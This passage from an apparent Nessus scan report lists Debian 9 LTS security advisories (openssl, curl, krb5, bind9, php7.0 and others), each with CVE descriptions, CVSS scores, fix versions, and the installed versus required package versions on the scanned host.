Remote package installed : libcurl3_7.52.1-5+deb9u9
Should be : libcurl3_7.52.1-5+deb9u15
Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u9
Should be : libcurl3-gnutls_7.52.1-5+deb9u15
```

153482 - Debian DLA-2760-1 : nettle - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2760 advisory.

Multiple vulnerabilities were discovered in nettle, a low level cryptographic library, which could result in denial of service (remote crash in RSA decryption via specially crafted ciphertext, crash on ECDSA signature verification) or incorrect verification of ECDSA signatures. For Debian 9 stretch, these problems have been fixed in version 3.3-1+deb9u1. We recommend that you upgrade your nettle packages. For the detailed security status of nettle please refer to its security tracker page at: https://security- tracker.debian.org/tracker/nettle Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=985652
https://security-tracker.debian.org/tracker/source-package/nettle
https://www.debian.org/lts/security/2021/dla-2760
https://security-tracker.debian.org/tracker/CVE-2021-20305
https://security-tracker.debian.org/tracker/CVE-2021-3580
https://packages.debian.org/source/stretch/nettle

Solution

Upgrade the nettle packages.

For Debian 9 stretch, these problems have been fixed in version 3.3-1+deb9u1.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.1 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-3580
CVE	CVE-2021-20305

Plugin Information

Published: 2021/09/19, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libhogweed4_3.3-1+b2
Should be : libhogweed4_3.3-1+deb9u1
Remote package installed : libnettle6_3.3-1+b2
Should be : libnettle6_3.3-1+deb9u1
```

153741 - Debian DLA-2766-1 : openssl - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2766 advisory.

- ASN.1 strings are represented internally within OpenSSL as an ASN1_STRING structure which contains a buffer holding the string data and a field holding the buffer length. This contrasts with normal C strings which are repesented as a buffer for the string data which is terminated with a NUL (0) byte. Although not a strict requirement, ASN.1 strings that are parsed using OpenSSL's own d2i functions (and other similar parsing functions) as well as any string whose value has been set with the ASN1_STRING_set() function will additionally NUL terminate the byte array in the ASN1_STRING structure. However, it is possible for applications to directly construct valid ASN1_STRING structures which do not NUL terminate the byte array by directly setting the data and length fields in the ASN1_STRING array. This can also happen by using the ASN1_STRING_set0() function. Numerous OpenSSL functions that print ASN.1 data have been found to assume that the ASN1_STRING byte array will be NUL terminated, even though this is not guaranteed for strings that have been directly constructed. Where an application requests an ASN.1 structure to be printed, and where that ASN.1 structure contains ASN1_STRINGs that have been directly constructed by the application without NUL terminating the data field, then a read buffer overrun can occur. The same thing can also occur during name constraints processing of certificates (for example if a certificate has been directly constructed by the application instead of loading it via the OpenSSL parsing functions, and the certificate contains non NUL terminated ASN1_STRING structures). It can also occur in the X509_get1_email(), X509_REQ_get1_email() and X509_get1_ocsp() functions. If a malicious actor can cause an application to directly construct an ASN1_STRING and then process it through one of the affected OpenSSL functions then this issue could be hit. This might result in a crash (causing a Denial of Service attack).
It could also result in the disclosure of private memory contents (such as private keys, or sensitive plaintext). Fixed in OpenSSL 1.1.1l (Affected 1.1.1-1.1.1k). Fixed in OpenSSL 1.0.2za (Affected 1.0.2-1.0.2y). (CVE-2021-3712)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl
https://www.debian.org/lts/security/2021/dla-2766
https://security-tracker.debian.org/tracker/CVE-2021-3712
https://packages.debian.org/source/stretch/openssl

Solution

Upgrade the openssl packages.

For Debian 9 stretch, this problem has been fixed in version 1.1.0l-1~deb9u4.

Risk Factor

Medium

CVSS v3.0 Base Score

7.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

6.4 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-3712
XREF	IAVA:2021-A-0395-S

Plugin Information

Published: 2021/09/27, Modified: 2021/12/30

Plugin Output

tcp/0

```
Remote package installed : libssl1.1_1.1.0j-1~deb9u1
Should be : libssl1.1_1.1.0l-1~deb9u4
Remote package installed : openssl_1.1.0j-1~deb9u1
Should be : openssl_1.1.0l-1~deb9u4
```

153808 - Debian DLA-2771-1 : krb5 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2771 advisory.

Several vulnerabilities were fixed in MIT Kerberos, a system for authenticating users and services on a network. CVE-2018-5729 CVE-2018-5730 Fix flaws in LDAP DN checking. CVE-2018-20217 Ignore password attributes for S4U2Self requests. CVE-2021-37750 Fix KDC null deref on TGS inner body null server. For Debian 9 stretch, these problems have been fixed in version 1.15-1+deb9u3. We recommend that you upgrade your krb5 packages. For the detailed security status of krb5 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/krb5 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891869
https://security-tracker.debian.org/tracker/source-package/krb5
https://www.debian.org/lts/security/2021/dla-2771
https://security-tracker.debian.org/tracker/CVE-2018-20217
https://security-tracker.debian.org/tracker/CVE-2018-5729
https://security-tracker.debian.org/tracker/CVE-2018-5730
https://security-tracker.debian.org/tracker/CVE-2021-37750
https://packages.debian.org/source/stretch/krb5

Solution

Upgrade the krb5 packages.

For Debian 9 stretch, these problems have been fixed in version 1.15-1+deb9u3.

Risk Factor

Medium

CVSS v3.0 Base Score

4.7 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L)

CVSS v3.0 Temporal Score

4.1 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

4.8 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2018-5729
CVE	CVE-2018-5730
CVE	CVE-2018-20217
CVE	CVE-2021-37750
XREF	IAVB:2021-B-0054-S

Plugin Information

Published: 2021/10/01, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : krb5-locales_1.15-1+deb9u1
```

```
Should be : krb5-locales_1.15-1+deb9u3
Remote package installed : libgssapi-krb5-2_1.15-1+deb9u1
Should be : libgssapi-krb5-2_1.15-1+deb9u3
Remote package installed : libk5crypto3_1.15-1+deb9u1
Should be : libk5crypto3_1.15-1+deb9u3
Remote package installed : libkrb5-3_1.15-1+deb9u1
Should be : libkrb5-3_1.15-1+deb9u3
Remote package installed : libkrb5support0_1.15-1+deb9u1
Should be : libkrb5support0_1.15-1+deb9u3
```

153845 - Debian DLA-2773-1 : curl - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2773 advisory.

Two issues have been found in curl, a command line tool and an easy-to-use client-side library for transferring data with URL syntax. CVE-2021-22946 Crafted answers from a server might force clients to not use TLS on connections though TLS was required and expected. CVE-2021-22947 When using STARTTLS to initiate a TLS connection, the server might send multiple answers before the TLS upgrade and such the client would handle them as being trusted. This could be used by a MITM-attacker to inject fake response data. For Debian 9 stretch, these problems have been fixed in version 7.52.1-5+deb9u16. We recommend that you upgrade your curl packages. For the detailed security status of curl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/curl Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/curl
https://www.debian.org/lts/security/2021/dla-2773
https://security-tracker.debian.org/tracker/CVE-2021-22946
https://security-tracker.debian.org/tracker/CVE-2021-22947
https://packages.debian.org/source/stretch/curl

Solution

Upgrade the curl packages.

For Debian 9 stretch, these problems have been fixed in version 7.52.1-5+deb9u16.

Risk Factor

Medium

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-22946
CVE	CVE-2021-22947

Plugin Information

Published: 2021/10/03, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : curl_7.52.1-5+deb9u9
Should be : curl_7.52.1-5+deb9u16
Remote package installed : libcurl3_7.52.1-5+deb9u9
Should be : libcurl3_7.52.1-5+deb9u16
Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u9
Should be : libcurl3-gnutls_7.52.1-5+deb9u16
```

153846 - Debian DLA-2774-1 : openssl1.0 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2774 advisory.

- ASN.1 strings are represented internally within OpenSSL as an ASN1_STRING structure which contains a buffer holding the string data and a field holding the buffer length. This contrasts with normal C strings which are repesented as a buffer for the string data which is terminated with a NUL (0) byte. Although not a strict requirement, ASN.1 strings that are parsed using OpenSSL's own d2i functions (and other similar parsing functions) as well as any string whose value has been set with the ASN1_STRING_set() function will additionally NUL terminate the byte array in the ASN1_STRING structure. However, it is possible for applications to directly construct valid ASN1_STRING structures which do not NUL terminate the byte array by directly setting the data and length fields in the ASN1_STRING array. This can also happen by using the ASN1_STRING_set0() function. Numerous OpenSSL functions that print ASN.1 data have been found to assume that the ASN1_STRING byte array will be NUL terminated, even though this is not guaranteed for strings that have been directly constructed. Where an application requests an ASN.1 structure to be printed, and where that ASN.1 structure contains ASN1_STRINGs that have been directly constructed by the application without NUL terminating the data field, then a read buffer overrun can occur. The same thing can also occur during name constraints processing of certificates (for example if a certificate has been directly constructed by the application instead of loading it via the OpenSSL parsing functions, and the certificate contains non NUL terminated ASN1_STRING structures). It can also occur in the X509_get1_email(), X509_REQ_get1_email() and X509_get1_ocsp() functions. If a malicious actor can cause an application to directly construct an ASN1_STRING and then process it through one of the affected OpenSSL functions then this issue could be hit. This might result in a crash (causing a Denial of Service attack).
It could also result in the disclosure of private memory contents (such as private keys, or sensitive plaintext). Fixed in OpenSSL 1.1.1l (Affected 1.1.1-1.1.1k). Fixed in OpenSSL 1.0.2za (Affected 1.0.2-1.0.2y). (CVE-2021-3712)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl1.0
https://www.debian.org/lts/security/2021/dla-2774
https://security-tracker.debian.org/tracker/CVE-2021-3712
https://packages.debian.org/source/stretch/openssl1.0

Solution

Upgrade the openssl1.0 packages.

For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u6.

Risk Factor

Medium

CVSS v3.0 Base Score

7.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

6.4 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-3712
XREF	IAVA:2021-A-0395-S

Plugin Information

Published: 2021/10/03, Modified: 2021/12/30

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2u-1~deb9u6
```

153844 - Debian DLA-2777-1 : tiff - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2777 advisory.

Two security issues were found in TIFF, a widely used format for storing image data, as follows:
CVE-2020-19131 Buffer Overflow in LibTiff allows attackers to cause a denial of service via the invertImage() function in the component tiffcrop. CVE-2020-19144 Buffer Overflow in LibTiff allows attackers to cause a denial of service via the in _TIFFmemcpy funtion in the component tif_unix.c. For Debian 9 stretch, these problems have been fixed in version 4.0.8-2+deb9u7. We recommend that you upgrade your tiff packages. For the detailed security status of tiff please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/tiff Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/tiff
https://www.debian.org/lts/security/2021/dla-2777
https://security-tracker.debian.org/tracker/CVE-2020-19131
https://security-tracker.debian.org/tracker/CVE-2020-19144
https://packages.debian.org/source/stretch/tiff

Solution

Upgrade the tiff packages.

For Debian 9 stretch, these problems have been fixed in version 4.0.8-2+deb9u7.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-19131
CVE	CVE-2020-19144

Plugin Information

Published: 2021/10/03, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libtiff5_4.0.8-2+deb9u4
Should be : libtiff5_4.0.8-2+deb9u7
```

154020 - Debian DLA-2784-1 : icu - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2784 advisory.

It was discovered that there was a potential use-after-free vulnerability in icu, a library which provides Unicode and locale functionality. CVE-2020-21913 International Components for Unicode (ICU-20850) v66.1 was discovered to contain a use after free bug in the pkg_createWithAssemblyCode function in the file tools/pkgdata/pkgdata.cpp. For Debian 9 Stretch, these problems have been fixed in version 57.1-6+deb9u5.
We recommend that you upgrade your icu packages. Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://www.debian.org/lts/security/2021/dla-2784
https://security-tracker.debian.org/tracker/CVE-2020-21913
https://packages.debian.org/source/stretch/icu

Solution

Upgrade the icu packages.

For Debian 9 Stretch, these problems have been fixed in version 57.1-6+deb9u5.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2020-21913

Plugin Information

Published: 2021/10/12, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libicu57_57.1-6+deb9u2
Should be : libicu57_57.1-6+deb9u5
```

154195 - Debian DLA-2786-1 : nghttp2 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2786 advisory.

- nghttp2 version >= 1.10.0 and nghttp2 <= v1.31.0 contains an Improper Input Validation CWE-20 vulnerability in ALTSVC frame handling that can result in segmentation fault leading to denial of service.
This attack appears to be exploitable via network client. This vulnerability appears to have been fixed in >= 1.31.1. (CVE-2018-1000168)

- In nghttp2 before version 1.41.0, the overly large HTTP/2 SETTINGS frame payload causes denial of service.
The proof of concept attack involves a malicious client constructing a SETTINGS frame with a length of 14,400 bytes (2400 individual settings entries) over and over again. The attack causes the CPU to spike at 100%. nghttp2 v1.41.0 fixes this vulnerability. There is a workaround to this vulnerability. Implement nghttp2_on_frame_recv_callback callback, and if received frame is SETTINGS frame and the number of settings entries are large (e.g., > 32), then drop the connection. (CVE-2020-11080)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/nghttp2
https://www.debian.org/lts/security/2021/dla-2786
https://security-tracker.debian.org/tracker/CVE-2018-1000168
https://security-tracker.debian.org/tracker/CVE-2020-11080
https://packages.debian.org/source/stretch/nghttp2

Solution

Upgrade the nghttp2 packages.

For Debian 9 stretch, these problems have been fixed in version 1.18.1-1+deb9u2.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-1000168
CVE	CVE-2020-11080
XREF	CEA-ID:CEA-2021-0004

Plugin Information

Published: 2021/10/17, Modified: 2022/12/05

Plugin Output

tcp/0

```
Remote package installed : libnghttp2-14_1.18.1-1
Should be : libnghttp2-14_1.18.1-1+deb9u2
```

154514 - Debian DLA-2794-1 : php7.0 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2794 advisory.

- In PHP versions 7.3.x up to and including 7.3.31, 7.4.x below 7.4.25 and 8.0.x below 8.0.12, when running PHP FPM SAPI with main FPM daemon process running as root and child worker processes running as lower- privileged users, it is possible for the child processes to access memory shared with the main process and write to it, modifying it in a way that would cause the root process to conduct invalid memory reads and writes, which can be used to escalate privileges from local unprivileged user to the root user.
(CVE-2021-21703)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997003
https://security-tracker.debian.org/tracker/source-package/php7.0
https://www.debian.org/lts/security/2021/dla-2794
https://security-tracker.debian.org/tracker/CVE-2021-21703
https://packages.debian.org/source/stretch/php7.0

Solution

Upgrade the php7.0 packages.

For Debian 9 stretch, this problem has been fixed in version 7.0.33-0+deb9u12.

Risk Factor

Medium

CVSS v3.0 Base Score

7.0 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.3 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.4 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-21703
XREF	IAVA:2021-A-0503-S

Plugin Information

Published: 2021/10/27, Modified: 2023/11/27

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u12
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u12
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u12
Remote package installed : php7.0-common_7.0.33-0+deb9u3
Should be : php7.0-common_7.0.33-0+deb9u12
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u12
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u12
Remote package installed : php7.0-json_7.0.33-0+deb9u3
```

```
Should be : php7.0-json_7.0.33-0+deb9u12
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u12
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u12
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u12
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u12
```

154739 - Debian DLA-2800-1 : cups - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2800 advisory.

An issue has been found in cups, the Common UNIX Printing System. Due to an input validation issue a malicious application might be allowed to read restricted memory. For Debian 9 stretch, this problem has been fixed in version 2.2.1-8+deb9u7. We recommend that you upgrade your cups packages. For the detailed security status of cups please refer to its security tracker page at: https://security- tracker.debian.org/tracker/cups Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/cups
https://www.debian.org/lts/security/2021/dla-2800
https://security-tracker.debian.org/tracker/CVE-2020-10001
https://packages.debian.org/source/stretch/cups

Solution

Upgrade the cups packages.

For Debian 9 stretch, this problem has been fixed in version 2.2.1-8+deb9u7.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2020-10001

Plugin Information

Published: 2021/10/30, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libcups2_2.2.1-8+deb9u3
Should be : libcups2_2.2.1-8+deb9u7
Remote package installed : libcupsimage2_2.2.1-8+deb9u3
Should be : libcupsimage2_2.2.1-8+deb9u7
```

154747 - Debian DLA-2801-1 : cron - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has a package installed that is affected by multiple vulnerabilities as referenced in the dla-2801 advisory.

- In the cron package through 3.0pl1-128 on Debian, and through 3.0pl1-128ubuntu2 on Ubuntu, the postinst maintainer script allows for group-crontab-to-root privilege escalation via symlink attacks against unsafe usage of the chown and chmod programs. (CVE-2017-9525)

- Vixie Cron before the 3.0pl1-133 Debian package allows local users to cause a denial of service (daemon crash) via a large crontab file because the calloc return value is not checked. (CVE-2019-9704)

- Vixie Cron before the 3.0pl1-133 Debian package allows local users to cause a denial of service (memory consumption) via a large crontab file because an unlimited number of lines is accepted. (CVE-2019-9705)

- Vixie Cron before the 3.0pl1-133 Debian package allows local users to cause a denial of service (use- after-free and daemon crash) because of a force_rescan_user error. (CVE-2019-9706)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809167
https://security-tracker.debian.org/tracker/source-package/cron
https://www.debian.org/lts/security/2021/dla-2801
https://security-tracker.debian.org/tracker/CVE-2017-9525
https://security-tracker.debian.org/tracker/CVE-2019-9704
https://security-tracker.debian.org/tracker/CVE-2019-9705
https://security-tracker.debian.org/tracker/CVE-2019-9706
https://packages.debian.org/source/stretch/cron

Solution

Upgrade the cron packages.

For Debian 9 stretch, these problems have been fixed in version 3.0pl1-128+deb9u2.

Risk Factor

Medium

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-9525
CVE	CVE-2019-9704
CVE	CVE-2019-9705
CVE	CVE-2019-9706

Plugin Information

Published: 2021/10/30, Modified: 2023/11/27

Plugin Output

tcp/0

```
Remote package installed : cron_3.0pl1-128+deb9u1
```

```
Should be : cron_3.0pl1-128+deb9u2
```

154882 - Debian DLA-2807-1 : bind9 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2807 advisory.

CVE-2021-25219 Kishore Kumar Kothapalli discovered that the lame server cache in BIND, a DNS server implementation, can be abused by an attacker to significantly degrade resolver performance, resulting in denial of service (large delays for responses for client queries and DNS timeouts on client hosts). CVE-2018-5740 deny-answer-aliases is a little-used feature intended to help recursive server operators protect end users against DNS rebinding attacks, a potential method of circumventing the security model used by client browsers. However, a defect in this feature makes it easy, when the feature is in use, to experience an assertion failure in name.c. For Debian 9 stretch, these problems have been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u10. We recommend that you upgrade your bind9 packages. For the detailed security status of bind9 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/bind9 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=905743
https://security-tracker.debian.org/tracker/source-package/bind9
https://www.debian.org/lts/security/2021/dla-2807
https://security-tracker.debian.org/tracker/CVE-2018-5740
https://security-tracker.debian.org/tracker/CVE-2021-25219
https://packages.debian.org/source/stretch/bind9

Solution

Upgrade the bind9 packages.

For Debian 9 stretch, these problems have been fixed in version 1

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2018-5740
CVE	CVE-2021-25219
XREF	IAVA:2018-A-0303-S
XREF	IAVA:2018-A-0255-S
XREF	IAVA:2021-A-0525-S

Plugin Information

Published: 2021/11/03, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u10
Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u10
```

155739 - Debian DLA-2833-1 : rsync - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has a package installed that is affected by a vulnerability as referenced in the dla-2833 advisory.

- The parse_arguments function in options.c in rsyncd in rsync before 3.1.3 does not prevent multiple
--protect-args uses, which allows remote attackers to bypass an argument-sanitization protection mechanism. (CVE-2018-5764)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=887588
https://security-tracker.debian.org/tracker/source-package/rsync
https://www.debian.org/lts/security/2021/dla-2833
https://security-tracker.debian.org/tracker/CVE-2018-5764
https://packages.debian.org/source/stretch/rsync

Solution

Upgrade the rsync packages.

For Debian 9 stretch, this problem has been fixed in version 3.1.2-1+deb9u3.

Risk Factor

Medium

